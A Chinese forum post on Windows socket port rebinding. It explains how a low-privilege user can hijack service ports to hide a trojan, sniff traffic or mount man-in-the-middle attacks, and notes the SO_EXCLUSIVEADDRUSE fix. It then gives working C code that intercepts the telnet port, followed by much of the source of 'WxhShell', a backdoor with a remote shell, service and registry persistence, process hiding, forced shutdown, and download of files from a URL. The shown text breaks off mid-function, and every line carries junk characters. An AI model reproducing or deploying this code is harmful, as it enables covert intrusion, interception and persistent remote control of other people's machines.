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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CPZ,sWg5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2Snb+,o2  
kr+p&|.  
  saddr.sin_family = AF_INET; 1iY4|j;ahV  
)1!<<;@0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }0pp"[JU  
!.,J;Qt  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qK7:[\T|?T  
D&F{0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 EtzSaB*|  
[L2+k? *  
  这意味着什么?意味着可以进行如下的攻击: o3`U;@&u  
C<C$df  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0F-{YQr>  
;Tnid7:S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Fc@R,9  
]?+i6 [6U  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :+DrV\)  
j~>{P=_}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  vN^.MR+<  
}P?e31@:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Hc'Pp{| X  
\1G '{# Q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :pdX  
BeLD`4K  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 P 9yMf~  
%<-OdyM  
  #include U.,S.WP+d  
  #include sR1_L/.  
  #include zQulPU  
  #include    z(LR!hr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9{OO'at?  
  int main() 'wEQvCS  
  { R?iCJ5m  
  WORD wVersionRequested;  j5/pVXO  
  DWORD ret; J-tqEK*  
  WSADATA wsaData; ,e43m=KhK  
  BOOL val; w{aGH/LN  
  SOCKADDR_IN saddr; *@''OyL  
  SOCKADDR_IN scaddr; 0YFXF  
  int err; .4^+q9M  
  SOCKET s; ?Vd~  
  SOCKET sc; }y6@YfV${  
  int caddsize; rQ{|0+l  
  HANDLE mt; G/p\MzDko  
  DWORD tid;   D/Ki^E  
  wVersionRequested = MAKEWORD( 2, 2 ); _jG|kjFTc  
  err = WSAStartup( wVersionRequested, &wsaData ); :Q DkaA  
  if ( err != 0 ) { t$nJmfzm  
  printf("error!WSAStartup failed!\n"); R 9` [C  
  return -1; B{&W|z{$  
  } ]]:K l  
  saddr.sin_family = AF_INET; d.+  
   ((A@VcX  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 b5)^g+8)w  
8%CznAO"?W  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [T_[QU:A  
  saddr.sin_port = htons(23); ~|Vq v{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'O)v@p "  
  { w{DU<e:  
  printf("error!socket failed!\n"); "<0!S~]  
  return -1; ,nYa+e  
  } Oh1U=V2~  
  val = TRUE; )1Bz0:  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $/"Ymm#"\Y  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) P1[.[q/-e  
  { hx0t!k(3  
  printf("error!setsockopt failed!\n"); HD KF>S_S  
  return -1; .t\J @?Z  
  } C&Q[[k"kb  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; c9[{P~y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .\oW@2,RA9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y`zdI_!7  
Q.$8>)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {2q"9Ox"  
  { @@\qso  
  ret=GetLastError(); F'[Y.tA ,#  
  printf("error!bind failed!\n"); VgXT4gO!  
  return -1; T%%EWa<a  
  } +!u9_?Tp  
  listen(s,2); #WG}"[ ,c  
  while(1) E'{:HX  
  { ]mtiIu[  
  caddsize = sizeof(scaddr); Fy5:|C N  
  //接受连接请求 q0%QMut%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); }R+#>P  
  if(sc!=INVALID_SOCKET) 4Mg%}/cC  
  { A v>v\ :.>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Os[z >H?  
  if(mt==NULL) [O\ )R[J  
  { tb?TPd-OY  
  printf("Thread Creat Failed!\n");  Me z&@{  
  break; &V axv$v}  
  } Q3i\`-kbb  
  } U:~]>B $  
  CloseHandle(mt); cPZ\iGy  
  } 1ik.|T<f0  
  closesocket(s); c86?-u')  
  WSACleanup(); >.UEs 8QV  
  return 0; &zgliT!If  
  }   J;XO1}9  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'J*'{  
  { uDG>m7(}/h  
  SOCKET ss = (SOCKET)lpParam; RU/WI<O  
  SOCKET sc; Ge=6l0  
  unsigned char buf[4096]; &^&0,g?To  
  SOCKADDR_IN saddr; ~h<T0Zc  
  long num; XC<'m{^(m  
  DWORD val; N68]r 3/K  
  DWORD ret; [}Xw/@Uc;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 MA9E??p3\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @P0rNO %y  
  saddr.sin_family = AF_INET; LR.]&(kyd  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *eXs7"H  
  saddr.sin_port = htons(23); J0bcW25  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <~ay4JY  
  { q@S \R 7R  
  printf("error!socket failed!\n"); {TJ "O  
  return -1; g'km*EV  
  } )]w&DNc  
  val = 100; .(p_YjIA  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0;1O;JRw  
  { d$\n@}8eZp  
  ret = GetLastError(); N 49{J~  
  return -1; 1)}hzA  
  } $bpu  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pdN8 hJ  
  { =v|$dDz  
  ret = GetLastError(); R'F\9eyA  
  return -1; J7WNgl% u  
  } zGd[sjL  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9;*B*S~znW  
  { EN ^L.q9#  
  printf("error!socket connect failed!\n"); t#f-3zd9  
  closesocket(sc); 0%rE*h9+  
  closesocket(ss); 9^sz,auB  
  return -1; 4Af7x6a;  
  } WuWOC6^  
  while(1) wE9z@\z]  
  { \qW^AD(it<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {J)gS  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B|^=2 >8s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Wl&6T1A`"  
  num = recv(ss,buf,4096,0); R%t6sbsNv  
  if(num>0) 'g<FL`iP  
  send(sc,buf,num,0); btC<>(kl&  
  else if(num==0) ER!s  
  break; z6qx9x|Ij  
  num = recv(sc,buf,4096,0); E_D@ 7a  
  if(num>0) #K-O<:s=y  
  send(ss,buf,num,0); W^,p2  
  else if(num==0) Q 'e[(^8  
  break; './qBJ  
  } /sB,)> X  
  closesocket(ss); ? R[GSS1  
  closesocket(sc); PM:u~D$Jd  
  return 0 ; 5}9rpN{y  
  } :Ef$[_S>  
Cw.DLg  
1X&scVw  
========================================================== rc{F17~vX  
}&Xf<6  
下边附上一个代码,,WXhSHELL l@<Jp *|  
caTKi8  
========================================================== a\ MJh+K  
i#U_g:~wC  
#include "stdafx.h" .'1]2/ad  
(H|^Ow5  
#include <stdio.h> gHvkr?Cg  
#include <string.h> gyMy;}a  
#include <windows.h> Hg(nC*#/Q  
#include <winsock2.h> kkT=g^D9j  
#include <winsvc.h> h&Q-QU  
#include <urlmon.h> :WSszak  
$4CsiZ6  
#pragma comment (lib, "Ws2_32.lib") @A%\;o o  
#pragma comment (lib, "urlmon.lib") .X4UDZQg  
59_VC('  
#define MAX_USER   100 // 最大客户端连接数 eGrxS;NY  
#define BUF_SOCK   200 // sock buffer @7Nc*-SM  
#define KEY_BUFF   255 // 输入 buffer Y-"7R>^I  
+\B.3%\-  
#define REBOOT     0   // 重启 !xC IvKW  
#define SHUTDOWN   1   // 关机 C #@5:$  
d6e]aO=g  
#define DEF_PORT   5000 // 监听端口 hQJ-  ~  
m&6I@S2  
#define REG_LEN     16   // 注册表键长度 w}(Ht_6q{  
#define SVC_LEN     80   // NT服务名长度 o2riy'~  
9>L{K   
// 从dll定义API rEs Gf+4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4g/Ly8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q9m-d-!)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <K~mg<ff$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V34]5  
\8-PCD  
// wxhshell配置信息 sC RmLUD  
struct WSCFG { BIEeHN4  
  int ws_port;         // 监听端口 ulY<4MN  
  char ws_passstr[REG_LEN]; // 口令  .Aa(  
  int ws_autoins;       // 安装标记, 1=yes 0=no EAnw:yUV(  
  char ws_regname[REG_LEN]; // 注册表键名 -*"Q-GO  
  char ws_svcname[REG_LEN]; // 服务名 I/w=!Ih  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z= /bD*\g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Iqm QQ_KH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Eh?,-!SUQn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f5|Ew&1EP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8#~x6\!b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "+ 8Y{T  
gK"E4{y_@  
}; JlN<w  
f{u3RCfX~2  
// default Wxhshell configuration 3%SwCYd  
struct WSCFG wscfg={DEF_PORT, tcS7 @^'  
    "xuhuanlingzhe", "': u#UdS  
    1, &o*f*(C2  
    "Wxhshell", o;Ma)/P  
    "Wxhshell", 6):^m{RH^  
            "WxhShell Service", SXfAw)-n  
    "Wrsky Windows CmdShell Service", niP/i  
    "Please Input Your Password: ", sa>}wz<o  
  1, i\u m;\  
  "http://www.wrsky.com/wxhshell.exe", JRl`evTS  
  "Wxhshell.exe" `}9jvR5  
    }; h$y0>eMWs  
)\r;|DN  
// 消息定义模块 O E56J-*}x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $j!VJGVG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Epf[8La  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8'X:}O/  
char *msg_ws_ext="\n\rExit."; *~%# =o  
char *msg_ws_end="\n\rQuit."; \+B+M 7  
char *msg_ws_boot="\n\rReboot..."; h q& 2o  
char *msg_ws_poff="\n\rShutdown..."; -P>f2It  
char *msg_ws_down="\n\rSave to "; DsP FB q  
cfEi]  
char *msg_ws_err="\n\rErr!"; =W~K_jE5lo  
char *msg_ws_ok="\n\rOK!"; $5)ZaYx<  
=8F]cW'1`  
char ExeFile[MAX_PATH]; <_"^eF+fZ  
int nUser = 0; WhHnF*I  
HANDLE handles[MAX_USER]; :7+E fu  
int OsIsNt; iB,Nqs3 i*  
L3g}Z1<!$  
SERVICE_STATUS       serviceStatus; <U ?_-0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^SouA[  
V:w=h>z8  
// 函数声明 [j :]YR  
int Install(void); .w`1;o  
int Uninstall(void); Iq-+X3i  
int DownloadFile(char *sURL, SOCKET wsh); phA^ kdW  
int Boot(int flag); HjO-6F#s  
void HideProc(void); !?7c2QRN  
int GetOsVer(void); *MEDV1l_T  
int Wxhshell(SOCKET wsl); dm&vLQVS  
void TalkWithClient(void *cs); clZ jb  
int CmdShell(SOCKET sock); C?3?<FDL  
int StartFromService(void); PfI~`ke  
int StartWxhshell(LPSTR lpCmdLine); :u7y k@  
t(|\3$z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y!6,ty'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V.RG= TVS  
*@|EaH/  
// 数据结构和表定义 #*[G,s#t^  
SERVICE_TABLE_ENTRY DispatchTable[] = #UcqKq  
{ _O-ZII~  
{wscfg.ws_svcname, NTServiceMain}, x*A_1_A  
{NULL, NULL} oD]riA>jC  
}; 0!c^pOq6  
2U-F}Z  
// 自我安装 52$7vYMto  
int Install(void) ,h'q}5  
{ 8jE6zS }m  
  char svExeFile[MAX_PATH]; V(%L}0[]  
  HKEY key; $~|#Rz%v  
  strcpy(svExeFile,ExeFile); \B'rWk 33,  
7B`,q-x.  
// 如果是win9x系统,修改注册表设为自启动 Khbkv  
if(!OsIsNt) { `i8KIE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l;I)$=={=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m8q3Pp  
  RegCloseKey(key); S?W!bkfn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qFo'"z`84  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mb6 #97  
  RegCloseKey(key); tH_e?6]  
  return 0; ydCVG,"  
    } 2l)J,z  
  } Xj/U~  
} 5YlY=J  
else { [/}y!;3iXM  
=|lKB;  
// 如果是NT以上系统,安装为系统服务 edh?I1/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ps#+i  
if (schSCManager!=0) 17Q1Xa  
{ 8KioL{h  
  SC_HANDLE schService = CreateService e>-a\g  
  ( &j\<UPn  
  schSCManager, !$"DD[~\  
  wscfg.ws_svcname, E\V-< ]o  
  wscfg.ws_svcdisp, ,O@x v  
  SERVICE_ALL_ACCESS, =v4;t'_^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IR(6  
  SERVICE_AUTO_START, 9]AiaV9  
  SERVICE_ERROR_NORMAL, P=:mn>  
  svExeFile, WxE4r  
  NULL, "T/ vE  
  NULL, \bze-|C  
  NULL, 03ol!|X "9  
  NULL, 6N}>@Y5  
  NULL D-7PO3F:F  
  ); r)P^CZm  
  if (schService!=0) &UhI1mi]h  
  { PiD%PBmUl  
  CloseServiceHandle(schService); \#P>k;D  
  CloseServiceHandle(schSCManager); Y<U"}}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -2}-;|  
  strcat(svExeFile,wscfg.ws_svcname); ;P9P2&c8c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :` >|N|i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W\s ]qsLS  
  RegCloseKey(key); NZ(c>r6  
  return 0; ecK{+Z'G  
    } 5T?esF<  
  } cd8~y  
  CloseServiceHandle(schSCManager); , Vz 1l_7  
} |1GR:b24  
} 3[kY:5-  
}cK<2J#  
return 1; d'~sy>  
} 7\sJ=*  
nJJ9>#<g$  
// 自我卸载 P q\m8iS,w  
int Uninstall(void) Mg H,"G  
{ !xs. [&u8  
  HKEY key; t.sbfLu  
8*rd`k1 |g  
if(!OsIsNt) { YNc] x>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yqs N#E3pf  
  RegDeleteValue(key,wscfg.ws_regname); OR[6pr@  
  RegCloseKey(key); BU[ .P]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c@RMy$RTF  
  RegDeleteValue(key,wscfg.ws_regname); %G6ml,  
  RegCloseKey(key); )i&z!|/2  
  return 0; Ha l,%W~e  
  } WvG0hts=[  
} E#t;G: +A  
} 0-H!\IB  
else { > Y <in/  
^06f\7A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3F'{JP  
if (schSCManager!=0) a!MhxM5  
{ KlMrM% ;y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8$O=HE*  
  if (schService!=0) fY@Y$S`Fh  
  { .Ap-<FB  
  if(DeleteService(schService)!=0) { o:kiIZ]  
  CloseServiceHandle(schService); qms+s~oA  
  CloseServiceHandle(schSCManager); -"qw5Y_oF?  
  return 0; /0Q=}:d  
  } tx}} Kd  
  CloseServiceHandle(schService); k CkSu-  
  } ZD{%0 uh  
  CloseServiceHandle(schSCManager); 2Y_ `&  
} aEr<(x !|"  
} DA)+)PhY7K  
dR"H,$UH  
return 1; ' N$hbl  
} r\7F}ZW/  
)(~s-x^\z@  
// 从指定url下载文件 m+p}Qi8i)  
int DownloadFile(char *sURL, SOCKET wsh) lqFDX d  
{ Le3H!9lbc  
  HRESULT hr; SH>L3@Za  
char seps[]= "/"; `ER">@&  
char *token; 2N_8ahc  
char *file; w~J 7|8Y  
char myURL[MAX_PATH]; {~.~ b+v  
char myFILE[MAX_PATH]; 32!jF}qpD  
RAMkTS  
strcpy(myURL,sURL); bJc<FL<E  
  token=strtok(myURL,seps); Df;EemCh  
  while(token!=NULL) {awv= s  
  { 4\'1j|nS[  
    file=token; PI{;3X}9$,  
  token=strtok(NULL,seps); SS?^-BI  
  } 1iWo* +5  
f49pIcAq  
GetCurrentDirectory(MAX_PATH,myFILE); N ]/ N}b  
strcat(myFILE, "\\"); z-<091,  
strcat(myFILE, file); 61|uvTX  
  send(wsh,myFILE,strlen(myFILE),0); *Ag</g@ h  
send(wsh,"...",3,0); C^ngdba\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \7W>3  
  if(hr==S_OK) e~tgd8a2a  
return 0; _'9("m V  
else H/8H`9S$  
return 1; ~B!O X  
RlH|G  
} Xup rl2+  
*_G(*yAe(  
// 系统电源模块 {)j~5m.,/o  
int Boot(int flag) e~ #;ux  
{ X v[5)4N  
  HANDLE hToken; ovv<7`  
  TOKEN_PRIVILEGES tkp; @<]sW*s  
ML6Y_|6 |  
  if(OsIsNt) { qYD$_a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AF ,*bb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sT.;*3{  
    tkp.PrivilegeCount = 1; p=F!)TnJN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +/u)/ey  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2$=U#!OtU  
if(flag==REBOOT) { Ore>j+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !cP2,l 'f  
  return 0; H CKD0xx  
} ;pk4Voo$  
else { Y ,1ZvUOB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V_b"^911r  
  return 0; >eX&HSoy  
} N?cvQR{r9  
  } }xZR`xP(  
  else { aYTVYg  
if(flag==REBOOT) { |wF_CZ*1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sVdn>$KXk  
  return 0; 5u/dr9n  
} *nb `DR  
else { W5C8$Bqm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?HD(EGdx  
  return 0; MA}~bfB  
} s98Jh(~  
} [k1N-';;;  
JQ5E;8J>  
return 1; @Z0?1+k  
} 9W^sq<tR  
p~(+4uA  
// win9x进程隐藏模块 Ck`-<)uN  
void HideProc(void) &j}08aK%  
{ ?= G+L0t  
--S1p0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0L->e(Vf7u  
  if ( hKernel != NULL ) U.XvS''E  
  { :/rl \woA>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \"]KF8c^_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Zv[D{  
    FreeLibrary(hKernel); ;Dh\2! sr  
  } .AB n$ml]  
Whoqs_Mm{  
return; rcq^mPdQ  
} MP/@Mf\<E  
[z:.52@!  
// 获取操作系统版本 |}^me7C,[  
int GetOsVer(void) _v/w ,z  
{ C ~e&J&zh  
  OSVERSIONINFO winfo; 3(2WO^zX {  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J&P{7a  
  GetVersionEx(&winfo); Bb[WtT}=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n8p vzlj1  
  return 1; uez"{_I  
  else EF>vu+YK  
  return 0; lw\+!}8(  
} [Sr^CY P(  
I45 kPfu  
// 客户端句柄模块 eeVDU$*e=  
int Wxhshell(SOCKET wsl) rCK   
{ N_:H kI6  
  SOCKET wsh; ]!c59%f=  
  struct sockaddr_in client; saRYd{%+  
  DWORD myID; Z Zs@P#]  
o*k.je1  
  while(nUser<MAX_USER) gg0rkg  
{ =l)D$l  
  int nSize=sizeof(client); TS_5R>R3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FmtgH1u:=  
  if(wsh==INVALID_SOCKET) return 1; TdU'L:<4l  
AX%N:)_$|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lGlh/B%  
if(handles[nUser]==0) ndmsXls  
  closesocket(wsh); H]P*!q`Ko  
else f7lt|.p  
  nUser++; +Rj8 "p$K  
  } *M?[Gro/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -l Y,lC>{  
1^ijKn@6  
  return 0; '^n,)oA/G  
} uIy$| N  
=dT  #x  
// 关闭 socket :[:*kbWN-  
void CloseIt(SOCKET wsh) |EGC1x]j=  
{ /n2qW.qJ>  
closesocket(wsh); Z<jC,r  
nUser--; a'%eyN  
ExitThread(0); XtZeT~/7RT  
} qyKI.X3n*  
'uW&AD p  
// 客户端请求句柄 | |u  
void TalkWithClient(void *cs) [t6Y,yo&h4  
{ 2@6Qifxd@  
!C&  ^%a  
  SOCKET wsh=(SOCKET)cs; ,bxGd!&{Q  
  char pwd[SVC_LEN]; >1qum'  
  char cmd[KEY_BUFF]; x MFo  
char chr[1]; M?d(-en  
int i,j; ae#Qeow`  
cGSG}m@B`  
  while (nUser < MAX_USER) { FvJkb!5*e_  
G@3Jw[t  
if(wscfg.ws_passstr) { czLY+I;V3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |})v, o B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nK)hv95i_  
  //ZeroMemory(pwd,KEY_BUFF); OJ1MV7&  
      i=0; ;04< 9i  
  while(i<SVC_LEN) { ~_F<"40  
>qU5(M_&L  
  // 设置超时 l`A e&nc6  
  fd_set FdRead;  K,o&gY  
  struct timeval TimeOut; aF{1V \e  
  FD_ZERO(&FdRead); >rYkVlv  
  FD_SET(wsh,&FdRead); 6VtN4c .Q  
  TimeOut.tv_sec=8; 7lx]`u>  
  TimeOut.tv_usec=0; eUKl(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gle<{ `   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k#n%at.g  
xC9?Wt'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wzF%R {;  
  pwd=chr[0]; n}dLfg *  
  if(chr[0]==0xd || chr[0]==0xa) { ,FwJ0V  
  pwd=0; IAJ+n0U  
  break; C{>dE:*K^  
  } 1pz-jo,2'  
  i++; 25;(`Td 5  
    } ]2c0?f*Y7  
L1kA AR  
  // 如果是非法用户,关闭 socket b"nD5r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +*IRI/KUD  
} K@vU_x0Sl  
5 FE&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q8}he~a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !ou;yE&<,  
|zJ2ZE|  
while(1) { @V Sr'?7-  
E"7[|-`e6  
  ZeroMemory(cmd,KEY_BUFF); hOYP~OR  
(v&iXD5t  
      // 自动支持客户端 telnet标准   3pe1"maP  
  j=0; ?1**@E0  
  while(j<KEY_BUFF) { 7u:QT2=&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &YBZuq2?  
  cmd[j]=chr[0]; %Iiu#- 'B  
  if(chr[0]==0xa || chr[0]==0xd) { ~sdM~9@ '  
  cmd[j]=0; QabLMq@n`  
  break; C%|m[,Gx  
  } (o^?i2)g  
  j++; f VJWW):  
    } 6(>,qt,9S  
+i[vJRLxl~  
  // 下载文件 Y8h 96  
  if(strstr(cmd,"http://")) { 6m@B.+1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ph)>;jU  
  if(DownloadFile(cmd,wsh)) %a]Imsm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L#S|2L_hC  
  else :%h|i&B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0es\ j6c  
  } F\jawoO9  
  else { h@TP=  
}qR6=J+Dx  
    switch(cmd[0]) { D=SjCmG  
  >uDC!0)R  
  // 帮助 r[wjE`Z/T  
  case '?': { l h6N3d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F:~@e(  
    break; #N;&^El  
  } :? s{@7  
  // 安装 &Mz]y?k'  
  case 'i': { Cu_-QE  
    if(Install()) /.~zk(-&h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M@Ti$=  
    else  >hzSd@J&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qkw?Q V-`k  
    break; [,{Nu EI  
    } 3#Iq5vT  
  // 卸载 D G|v' #  
  case 'r': { D/=k9[b!  
    if(Uninstall()) LnM$@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C{+JrHV%h  
    else P#V}l'j(<a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QMy1!:Z&!  
    break; 5tk7H2K^<  
    } /,~g"y.;,  
  // 显示 wxhshell 所在路径 T^{=cx9x9  
  case 'p': { aMVq%{U  
    char svExeFile[MAX_PATH]; [KCR@__  
    strcpy(svExeFile,"\n\r"); )1YX+',"  
      strcat(svExeFile,ExeFile); VGc.yM)& j  
        send(wsh,svExeFile,strlen(svExeFile),0); itg"dGDk  
    break; c|Z6p{)V  
    } MTq/  
  // 重启 t,Q"Pt?  
  case 'b': { m77 !i>V)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'Hs*  
    if(Boot(REBOOT)) ddbQFAQQQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ))nTd=  
    else { Z$B%V t  
    closesocket(wsh); )3<>H!yG}  
    ExitThread(0); ; .b^&h  
    } dK0H.|  
    break; awjAv8tPO!  
    } vF&0I2T~l  
  // 关机 }8s&~f H  
  case 'd': { &|#,Bsk"@  
